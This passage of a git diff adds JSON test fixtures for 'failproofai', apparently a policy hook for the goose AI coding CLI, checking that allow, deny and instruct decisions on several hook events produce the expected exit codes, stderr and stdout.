&a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ddfed2b8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6240944d --- /dev/null +++ b/__tests__/parity/fixtures/goose/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6ad1f032 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0c21c2cb --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e709f890 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3317eb15 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6e29aae6 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..58161be4 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2cbf9eb5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..51fb7ab1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..dc6469ba --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..64f4a74a --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..141fe9ae --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e886a8c5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..de8f1457 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e0b500f5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..288d6044 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4a4fae0b --- /dev/null +++ b/__tests__/parity/fixtures/goose/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8a32092a --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..263ed5f3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + 